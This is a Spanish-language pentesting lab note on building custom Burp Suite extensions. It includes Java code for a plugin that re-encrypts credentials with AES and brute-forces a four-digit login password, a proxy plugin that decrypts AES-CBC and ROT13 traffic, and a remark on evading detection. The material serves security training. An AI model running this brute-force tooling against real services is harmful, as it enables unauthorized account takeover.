Tooling propio con Burp

Definición

Un plugin de Burp Suite es un archivo JAR que extiende la funcionalidad del proxy mediante la API Montoya. Permite interceptar y modificar tráfico HTTP en tiempo real, automatizar brute force contra endpoints con cifrado custom y descifrar/recodificar payloads de aplicaciones móviles.

Casos de uso principales:

• Automatizar brute force cuando las credenciales se envían cifradas (AES, RSA + custom encoding).
• Descifrar/recifrar tráfico en tiempo real para inspeccionar aplicaciones con criptografía propietaria.
• Actuar como proxy transparente entre la app y su API back-end sin romper el flujo de la aplicación.

Relacionado: Burp Suite, Insecure Randomness, AES-ECB Chosen Plaintext Attack

Contexto

¿Por qué crear tooling propio?

Las herramientas genéricas tienen firmas conocidas y no cubren lógica de negocio específica. El tooling custom permite:

• Adaptar la funcionalidad al engagement concreto.
• Automatizar flujos de explotación complejos (multi-step).
• Evadir detección (no hay firma para herramientas que nadie más usa).
• Manejar criptografía propietaria sin romper el flujo de la aplicación.

Custom Crypto en apps móviles

Las aplicaciones móviles son especialmente sensibles porque se ejecutan en entornos no confiables:

• Un adversario puede descargar la app y descompilarlacon herramientas como Frida.
• Los desarrolladores responden con ofuscación, root detection y criptografía custom en las requests/responses.

El objetivo del pentester NO es romper el cifrado, sino replicar los pasos para poder modificar parámetros y testear la API. El lugar ideal para este tooling es dentro del proxy interceptor, que aplica los pasos para cada request automáticamente.

Comparativa de Proxies Interceptores

Burp destaca por madurez, extensibilidad y amplio uso en testing móvil con cifrado propietario.

Estructura de una Extensión Burp (Montoya API)

Un plugin Burp es un JAR compilado con Gradle que implementa BurpExtension:

1
101Burp/
2
├── src/main/java/
3
│   └── BruteForce.java   ← código fuente principal
4
├── build.gradle          ← dependencias (montoya-api:2025.2)
5
├── settings.gradle
6
└── gradlew

Dependencia clave en build.gradle:

1
compileOnly("net.portswigger.burp.extensions:montoya-api:2025.2")

Compilar:

cd ~/101Burp/
gradle build
# → build/libs/101Burp-1.0-SNAPSHOT.jar

Importar en Burp: Extensions → Add → Select File → .jar.

Lab 1: Extensión de Brute Force (AES-CBC Encrypted Login)

Escenario: Login en https://TARGET:8443 cifra username+password con AES antes de enviar. El cliente JS genera una clave AES aleatoria, cifra username=ecorp_user&password=XXXX, envía mac=<AES_key_b64>&data=<ciphertext_b64>. El password es de 4 dígitos (0000–9999).

Solución: Plugin que replica el cifrado y hace brute force iterando los 10.000 posibles passwords.

Método initialize()

1
@Override
2
public void initialize(MontoyaApi api) {
3
    this.api = api;
4
    api.extension().setName("Burp Password Brute-Forcer");
5
    SwingUtilities.invokeLater(this::createUI);
6
}

Registra el plugin y lanza la UI en el EDT de Swing.

Método createUI()

1
private void createUI() {
2
    JFrame frame = new JFrame("Brute Force Attack");
3
    // campos: usernameField, urlField (e.g., SECOND_VM_IP:8443)
4
    JButton startButton = new JButton("Start Attack");
5
    startButton.addActionListener((ActionEvent e) -> {
6
        frame.dispose();
7
        new Thread(() -> startBruteForce(
8
            usernameField.getText().trim(),
9
            urlField.getText().trim()
10
        )).start();
11
    });
12
}

La UI se lanza en un hilo separado para no bloquear Burp.

Método startBruteForce() — lógica principal

1
// Iteración: 0001 → 9999
2
for (int i = 1; i <= 9999; i++) {
3
    String password = String.format("%04d", i);
4

5
    SecretKey aesKey = generateAESKey();             // clave AES aleatoria
6
    String encodedKey = base64EncodeWithPadding(aesKey.getEncoded());
7

8
    String rawdata = "username=" + username + "&password=" + password;
9
    byte[] encryptedData = encryptAES(rawdata, aesKey);
10
    String encodedData = base64EncodeWithPadding(encryptedData);
11

12
    String postBody = "mac=" + URLEncoder.encode(encodedKey, "UTF-8") +
13
                      "&data=" + URLEncoder.encode(encodedData, "UTF-8");
14

15
    HttpRequest request = HttpRequest.httpRequest(httpService,
16
        createHttpRequest(postBody, host));
17
    HttpResponse response = api.http().sendRequest(request).response();
18

19
    // éxito: status 200 + "result=" en el body
20
    if (response.statusCode() == 200 && response.bodyToString().contains("result=")) {
21
        String decryptedResult = decryptAES(decodedKey, decodedEncryptedData);
22
        // → mostrar popup con password y respuesta descifrada
23
        break;
24
    }
25
}

Método createHttpRequest()

1
private String createHttpRequest(String body, String serverUrl) {
2
    return "POST /login HTTP/1.1\r\n" +
3
           "Host: " + serverUrl + "\r\n" +
4
           "Content-Type: application/x-www-form-urlencoded\r\n" +
5
           "Content-Length: " + body.length() + "\r\n" +
6
           "\r\n" + body;
7
}

Lab 2: Plugin Proxy Descifrador (AES-CBC + ROT13)

Escenario (segunda pantalla de login): La app aplica ROT13 a username y secret, luego cifra con AES-CBC (IV fijo "0000000000000000") y envía mac=<key>&data=<ciphertext>. La respuesta del servidor también está cifrada con la misma clave de sesión.

Objetivo: Plugin que actúa como proxy transparente, descifra requests y responses, y los loguea en claro en el output de Burp.

Flujo de la extensión (clase BurpExtender implements BurpExtension, HttpHandler)

1
@Override
2
public void initialize(MontoyaApi api) {
3
    this.api = api;
4
    api.extension().setName("Burp Decryptor");
5
    api.http().registerHttpHandler(this);   // ← hookeado a cada request/response
6
}

Interceptar y descifrar requests

1
@Override
2
public RequestToBeSentAction handleHttpRequestToBeSent(
3
        HttpRequestToBeSent requestToBeSent) {
4

5
    // 1. Extraer mac (AES key b64) y data (ciphertext b64) con regex
6
    // 2. Base64-decode ambos
7
    byte[] aesKey = Base64.getDecoder().decode(URLDecoder.decode(mac, UTF_8));
8
    byte[] encryptedData = Base64.getDecoder().decode(URLDecoder.decode(data, UTF_8));
9
    // 3. Descifrar AES-CBC
10
    byte[] decryptedBytes = decryptAES(encryptedData, aesKey);
11
    // 4. Aplicar ROT13 para obtener texto claro
12
    String firstPassRot13 = rot13(new String(decryptedBytes, UTF_8).trim());
13
    // 5. Loguear
14
    logging.logToOutput("===== [Decrypted Request] =====\n" + firstPassRot13);
15
    return RequestToBeSentAction.continueWith(requestToBeSent);
16
}

Descifrar respuestas del servidor

1
@Override
2
public ResponseReceivedAction handleHttpResponseReceived(
3
        HttpResponseReceived responseReceived) {
4

5
    // 1. Extraer result= del body con regex
6
    // 2. Recuperar la AES key del REQUEST original (mac=)
7
    String requestBody = responseReceived.initiatingRequest().body().toString();
8
    byte[] aesKey = /* extraer mac del requestBody */;
9
    // 3. Descifrar y aplicar ROT13
10
    byte[] decryptedResponseBytes = decryptAES(encryptedResponse, aesKey);
11
    String finalDecryptedResponse = rot13(new String(decryptedResponseBytes, UTF_8).trim());
12
    // 4. Loguear
13
    logging.logToOutput("===== [Decrypted Response] =====\n" + finalDecryptedResponse);
14
    return ResponseReceivedAction.continueWith(responseReceived);
15
}

Función ROT13 en Java

1
private String rot13(String text) {
2
    StringBuilder result = new StringBuilder();
3
    for (char c : text.toCharArray()) {
4
        if (Character.isUpperCase(c))
5
            result.append((char) ('A' + (c - 'A' + 13) % 26));
6
        else if (Character.isLowerCase(c))
7
            result.append((char) ('a' + (c - 'a' + 13) % 26));
8
        else
9
            result.append(c);
10
    }
11
    return result.toString();
12
}

Función decryptAES()

1
private byte[] decryptAES(byte[] encryptedData, byte[] key) throws Exception {
2
    Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
3
    IvParameterSpec iv = new IvParameterSpec(
4
        FIXED_IV.getBytes(StandardCharsets.UTF_8));  // "0000000000000000"
5
    SecretKeySpec secretKey = new SecretKeySpec(key, "AES");
6
    cipher.init(Cipher.DECRYPT_MODE, secretKey, iv);
7
    return cipher.doFinal(encryptedData);
8
}

Output esperado

1
===== [Decrypted Request] =====
2
username=ecorp_user&secret=THM{SECRET_FROM_PREVIOUS_TASK}
3
========================================
4

5
===== [Decrypted Response] =====
6
Welcome ecorp_user your secret is THM{****}
7
========================================

Diagrama de flujo — Plugin proxy descifrador

sequenceDiagram
    participant Browser as App/Browser
    participant BurpPlugin as Burp Decryptor Plugin
    participant Server as API Server

    Browser->>BurpPlugin: POST /verify (mac=<key_b64>&data=<ciphertext_b64>)
    BurpPlugin->>BurpPlugin: Base64-decode mac → AES key
    BurpPlugin->>BurpPlugin: Base64-decode data → ciphertext
    BurpPlugin->>BurpPlugin: AES-CBC decrypt (IV="0000...")
    BurpPlugin->>BurpPlugin: ROT13 decode → plaintext
    BurpPlugin->>BurpPlugin: log("[Decrypted Request] username=ecorp_user...")
    BurpPlugin->>Server: reenvía request original sin modificar
    Server->>BurpPlugin: response (result=<encrypted_b64>)
    BurpPlugin->>BurpPlugin: recupera AES key del request original (initiatingRequest)
    BurpPlugin->>BurpPlugin: AES-CBC decrypt + ROT13 decode
    BurpPlugin->>BurpPlugin: log("[Decrypted Response] Welcome ecorp_user...")
    BurpPlugin->>Browser: reenvía response original sin modificar

Pitfalls

• IV fijo ("0000000000000000"): Un IV estático hace el cifrado determinista. En un audit, marcarlo como Cryptographic Failure (PKCS#7/CBC + IV predecible → bit-flipping posible). Ver Cryptographic Failures, Padding Oracle Attack.
• AES key transmitida en la propia request (mac=): La clave viaja junto al ciphertext. Cualquier interceptor pasivo puede descifrar el tráfico. No aporta confidencialidad real; solo oscuridad.
• ROT13 no es cifrado: Es una transposición trivial (invertible sin clave). No añade seguridad.
• Jython en Burp Community: Si se usa Python en la extensión, Jython puede ser lento y tener problemas con dependencias de terceros. Java es la opción más robusta.
• Hilo principal de Swing: La UI de la extensión debe crearse con SwingUtilities.invokeLater() y el brute force debe ejecutarse en un hilo separado para no bloquear Burp.

Referencias

• Montoya API (PortSwigger)
• BApp Store (PortSwigger)
• Burp Suite
• Cryptographic Failures
• AES-ECB Chosen Plaintext Attack
• Padding Oracle Attack
• Browser Automation for Pentesting — alternativa sin revertir el cifrado